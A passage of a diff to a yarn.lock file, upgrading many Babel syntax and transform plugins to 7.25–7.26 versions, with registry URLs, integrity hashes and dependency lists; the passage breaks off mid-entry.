-  integrity sha512-3jQUr/HBbMVZmi72LpjQwlZ55i1queL8KcDTQEkAHihttJnAPrcvG9ZNXIfsd2ugpizZo595egYV6xy+pv4Ofw==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.16.0"
-    "@babel/helper-create-class-features-plugin" "^7.16.0"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
+"@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2":
+  version "7.21.0-placeholder-for-preset-env.2"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz#7844f9289546efa9febac2de4cfe358a050bd703"
+  integrity sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==
 
 "@babel/plugin-proposal-unicode-property-regex@^7.10.4", "@babel/plugin-proposal-unicode-property-regex@^7.4.4":
   version "7.10.4"
@@ -1139,6 +1170,20 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-syntax-import-assertions@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.26.0.tgz#620412405058efa56e4a564903b79355020f445f"
+  integrity sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-import-attributes@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.26.0.tgz#3b1412847699eea739b4f2602c74ce36f6b0b0f7"
+  integrity sha512-e2dttdsJ1ZTpi3B9UYGLw41hifAubg19AtCu/2I/F1QNVclOBr1dYpTdmdyZ84Xiz43BS/tCUkMAZNLv12Pi+A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-syntax-import-meta@^7.10.4", "@babel/plugin-syntax-import-meta@^7.8.3":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz#ee601348c370fa334d2207be158777496521fd51"
@@ -1174,6 +1219,13 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.22.5"
 
+"@babel/plugin-syntax-jsx@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz#a34313a178ea56f1951599b929c1ceacee719290"
+  integrity sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-syntax-jsx@^7.7.2":
   version "7.24.1"
   resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.24.1.tgz#3f6ca04b8c841811dbc3c5c5f837934e0d626c10"
@@ -1223,13 +1275,6 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.8.0"
 
-"@babel/plugin-syntax-private-property-in-object@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz#0dc6671ec0ea22b6e94a1114f857970cd39de1ad"
-  integrity sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
 "@babel/plugin-syntax-top-level-await@^7.10.4":
   version "7.12.13"
   resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.12.13.tgz#c5f0fa6e249f5b739727f923540cf7a806130178"
@@ -1251,12 +1296,12 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.14.5"
 
-"@babel/plugin-syntax-typescript@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.16.0.tgz#2feeb13d9334cc582ea9111d3506f773174179bb"
-  integrity sha512-Xv6mEXqVdaqCBfJFyeab0fH2DnUoMsDmhamxsSi4j8nLd4Vtw213WMJr55xxqipC/YVWyPY3K0blJncPYji+dQ==
+"@babel/plugin-syntax-typescript@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.9.tgz#67dda2b74da43727cf21d46cf9afef23f4365399"
+  integrity sha512-hjMgRy5hb8uJJjUcdWunWVcoi9bGpJp8p5Ol1229PoN6aytsLwNMgmdftO23wnCLMfVmTwZDWMPNq/D1SY60JQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
 "@babel/plugin-syntax-typescript@^7.7.2":
   version "7.24.1"
@@ -1265,6 +1310,14 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.24.0"
 
+"@babel/plugin-syntax-unicode-sets-regex@^7.18.6":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz#d49a3b3e6b52e5be6740022317580234a6a47357"
+  integrity sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.18.6"
+
 "@babel/plugin-transform-arrow-functions@^7.0.0":
   version "7.20.7"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.20.7.tgz#bea332b0e8b2dab3dafe55a163d8227531ab0551"
@@ -1279,6 +1332,22 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-arrow-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.25.9.tgz#7821d4410bee5daaadbb4cdd9a6649704e176845"
+  integrity sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-async-generator-functions@^7.26.8":
+  version "7.26.8"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.26.8.tgz#5e3991135e3b9c6eaaf5eff56d1ae5a11df45ff8"
+  integrity sha512-He9Ej2X7tNf2zdKMAGOsmg2MrFc+hfoAhd3po4cWfo/NWjzEAKa0oQruj1ROVUdl0e6fb6/kE/G3SSxE0lRJOg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-remap-async-to-generator" "^7.25.9"
+    "@babel/traverse" "^7.26.8"
+
 "@babel/plugin-transform-async-to-generator@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.10.4.tgz#41a5017e49eb6f3cda9392a51eef29405b245a37"
@@ -1288,6 +1357,15 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/helper-remap-async-to-generator" "^7.10.4"
 
+"@babel/plugin-transform-async-to-generator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.25.9.tgz#c80008dacae51482793e5a9c08b39a5be7e12d71"
+  integrity sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-remap-async-to-generator" "^7.25.9"
+
 "@babel/plugin-transform-block-scoped-functions@^7.0.0":
   version "7.18.6"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz#9187bf4ba302635b9d70d986ad70f038726216a8"
@@ -1302,6 +1380,13 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-block-scoped-functions@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.26.5.tgz#3dc4405d31ad1cbe45293aa57205a6e3b009d53e"
+  integrity sha512-chuTSY+hq09+/f5lMj8ZSYgCFpppV2CbYrhNFJ1BFoXpiWPnnAb7R0MqrafCpN8E1+YRrtM1MXZHJdIx8B6rMQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+
 "@babel/plugin-transform-block-scoping@^7.0.0":
   version "7.20.14"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.20.14.tgz#2f5025f01713ba739daf737997308e0d29d1dd75"
@@ -1316,33 +1401,39 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
-"@babel/plugin-transform-classes@^7.0.0":
-  version "7.20.7"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.20.7.tgz#f438216f094f6bb31dc266ebfab8ff05aecad073"
-  integrity sha512-LWYbsiXTPKl+oBlXUGlwNlJZetXD5Am+CyBdqhPsDVjM9Jc8jwBJFrKhHf900Kfk2eZG1y9MAG3UNajol7A4VQ==
+"@babel/plugin-transform-block-scoping@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.25.9.tgz#c33665e46b06759c93687ca0f84395b80c0473a1"
+  integrity sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-compilation-targets" "^7.20.7"
-    "@babel/helper-environment-visitor" "^7.18.9"
-    "@babel/helper-function-name" "^7.19.0"
-    "@babel/helper-optimise-call-expression" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.20.2"
-    "@babel/helper-replace-supers" "^7.20.7"
-    "@babel/helper-split-export-declaration" "^7.18.6"
-    globals "^11.1.0"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-classes@^7.10.4":
-  version "7.10.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.10.4.tgz#405136af2b3e218bc4a1926228bc917ab1a0adc7"
-  integrity sha512-2oZ9qLjt161dn1ZE0Ms66xBncQH4In8Sqw1YWgBUZuGVJJS5c0OFZXL6dP2MRHrkU/eKhWg8CzFJhRQl50rQxA==
+"@babel/plugin-transform-class-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.25.9.tgz#a8ce84fedb9ad512549984101fa84080a9f5f51f"
+  integrity sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.10.4"
-    "@babel/helper-define-map" "^7.10.4"
-    "@babel/helper-function-name" "^7.10.4"
-    "@babel/helper-optimise-call-expression" "^7.10.4"
-    "@babel/helper-plugin-utils" "^7.10.4"
-    "@babel/helper-replace-supers" "^7.10.4"
-    "@babel/helper-split-export-declaration" "^7.10.4"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-class-static-block@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.26.0.tgz#6c8da219f4eb15cae9834ec4348ff8e9e09664a0"
+  integrity sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-classes@^7.0.0", "@babel/plugin-transform-classes@^7.10.4", "@babel/plugin-transform-classes@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.25.9.tgz#7152457f7880b593a63ade8a861e6e26a4469f52"
+  integrity sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
     globals "^11.1.0"
 
 "@babel/plugin-transform-computed-properties@^7.0.0":
@@ -1360,6 +1451,14 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-computed-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.25.9.tgz#db36492c78460e534b8852b1d5befe3c923ef10b"
+  integrity sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/template" "^7.25.9"
+
 "@babel/plugin-transform-destructuring@^7.0.0":
   version "7.20.7"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.20.7.tgz#8bda578f71620c7de7c93af590154ba331415454"
@@ -1374,6 +1473,13 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-destructuring@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.25.9.tgz#966ea2595c498224340883602d3cfd7a0c79cea1"
+  integrity sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-dotall-regex@^7.10.4", "@babel/plugin-transform-dotall-regex@^7.4.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.10.4.tgz#469c2062105c1eb6a040eaf4fac4b488078395ee"
@@ -1382,6 +1488,14 @@
     "@babel/helper-create-regexp-features-plugin" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-dotall-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.25.9.tgz#bad7945dd07734ca52fe3ad4e872b40ed09bb09a"
+  integrity sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-duplicate-keys@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.10.4.tgz#697e50c9fee14380fe843d1f306b295617431e47"
@@ -1389,6 +1503,28 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-duplicate-keys@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.25.9.tgz#8850ddf57dce2aebb4394bb434a7598031059e6d"
+  integrity sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-duplicate-named-capturing-groups-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.25.9.tgz#6f7259b4de127721a08f1e5165b852fcaa696d31"
+  integrity sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-dynamic-import@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.25.9.tgz#23e917de63ed23c6600c5dd06d94669dce79f7b8"
+  integrity sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-exponentiation-operator@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.10.4.tgz#5ae338c57f8cf4001bdb35607ae66b92d665af2e"
@@ -1397,6 +1533,20 @@
     "@babel/helper-builder-binary-assignment-operator-visitor" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-exponentiation-operator@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.26.3.tgz#e29f01b6de302c7c2c794277a48f04a9ca7f03bc"
+  integrity sha512-7CAHcQ58z2chuXPWblnn1K6rLDnDWieghSOEmqQsrBenH0P9InCUtOJYD89pvngljmZlJcz3fcmgYsXFNGa1ZQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-export-namespace-from@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.25.9.tgz#90745fe55053394f554e40584cda81f2c8a402a2"
+  integrity sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-flow-strip-types@^7.0.0":
   version "7.19.0"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.19.0.tgz#e9e8606633287488216028719638cbbb2f2dde8f"
@@ -1427,6 +1577,14 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-for-of@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.26.9.tgz#27231f79d5170ef33b5111f07fe5cafeb2c96a56"
+  integrity sha512-Hry8AusVm8LW5BVFgiyUReuoGzPUpdHQQqJY5bZnbbf+ngOHWuCuYFKw/BqaaWlvEUrF91HMhDtEaI1hZzNbLg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
 "@babel/plugin-transform-function-name@^7.0.0":
   version "7.18.9"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz#cc354f8234e62968946c61a46d6365440fc764e0"
@@ -1444,6 +1602,22 @@
     "@babel/helper-function-name" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-function-name@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.25.9.tgz#939d956e68a606661005bfd550c4fc2ef95f7b97"
+  integrity sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-transform-json-strings@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.25.9.tgz#c86db407cb827cded902a90c707d2781aaa89660"
+  integrity sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-literals@^7.0.0":
   version "7.18.9"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz#72796fdbef80e56fba3c6a699d54f0de557444bc"
@@ -1458,6 +1632,20 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.25.9.tgz#1a1c6b4d4aa59bc4cad5b6b3a223a0abd685c9de"
+  integrity sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-logical-assignment-operators@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.25.9.tgz#b19441a8c39a2fda0902900b306ea05ae1055db7"
+  integrity sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-member-expression-literals@^7.0.0":
   version "7.18.6"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz#ac9fdc1a118620ac49b7e7a5d2dc177a1bfee88e"
@@ -1472,6 +1660,13 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-member-expression-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.25.9.tgz#63dff19763ea64a31f5e6c20957e6a25e41ed5de"
+  integrity sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-modules-amd@^7.10.4":
   version "7.10.5"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.10.5.tgz#1b9cddaf05d9e88b3aad339cb3e445c4f020a9b1"
@@ -1481,6 +1676,14 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     babel-plugin-dynamic-import-node "^2.3.3"
 
+"@babel/plugin-transform-modules-amd@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.25.9.tgz#49ba478f2295101544abd794486cd3088dddb6c5"
+  integrity sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-modules-commonjs@^7.0.0":
   version "7.20.11"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.20.11.tgz#8cb23010869bf7669fd4b3098598b6b2be6dc607"
@@ -1500,15 +1703,13 @@
     "@babel/helper-simple-access" "^7.10.4"
     babel-plugin-dynamic-import-node "^2.3.3"
 
-"@babel/plugin-transform-modules-commonjs@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.16.0.tgz#add58e638c8ddc4875bd9a9ecb5c594613f6c922"
-  integrity sha512-Dzi+NWqyEotgzk/sb7kgQPJQf7AJkQBWsVp1N6JWc1lBVo0vkElUnGdr1PzUBmfsCCN5OOFya3RtpeHk15oLKQ==
+"@babel/plugin-transform-modules-commonjs@^7.25.9", "@babel/plugin-transform-modules-commonjs@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.26.3.tgz#8f011d44b20d02c3de44d8850d971d8497f981fb"
+  integrity sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ==
   dependencies:
-    "@babel/helper-module-transforms" "^7.16.0"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-simple-access" "^7.16.0"
-    babel-plugin-dynamic-import-node "^2.3.3"
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
 "@babel/plugin-transform-modules-systemjs@^7.10.4":
   version "7.10.5"
@@ -1520,6 +1721,16 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     babel-plugin-dynamic-import-node "^2.3.3"
 
+"@babel/plugin-transform-modules-systemjs@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.25.9.tgz#8bd1b43836269e3d33307151a114bcf3ba6793f8"
+  integrity sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
 "@babel/plugin-transform-modules-umd@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.10.4.tgz#9a8481fe81b824654b3a0b65da3df89f3d21839e"
@@ -1528,6 +1739,14 @@
     "@babel/helper-module-transforms" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-modules-umd@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.25.9.tgz#6710079cdd7c694db36529a1e8411e49fcbf14c9"
+  integrity sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-named-capturing-groups-regex@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.10.4.tgz#78b4d978810b6f3bcf03f9e318f2fc0ed41aecb6"
@@ -1535,6 +1754,14 @@
   dependencies:
     "@babel/helper-create-regexp-features-plugin" "^7.10.4"
 
+"@babel/plugin-transform-named-capturing-groups-regex@^7.25.9":
+  version "7.25.9"
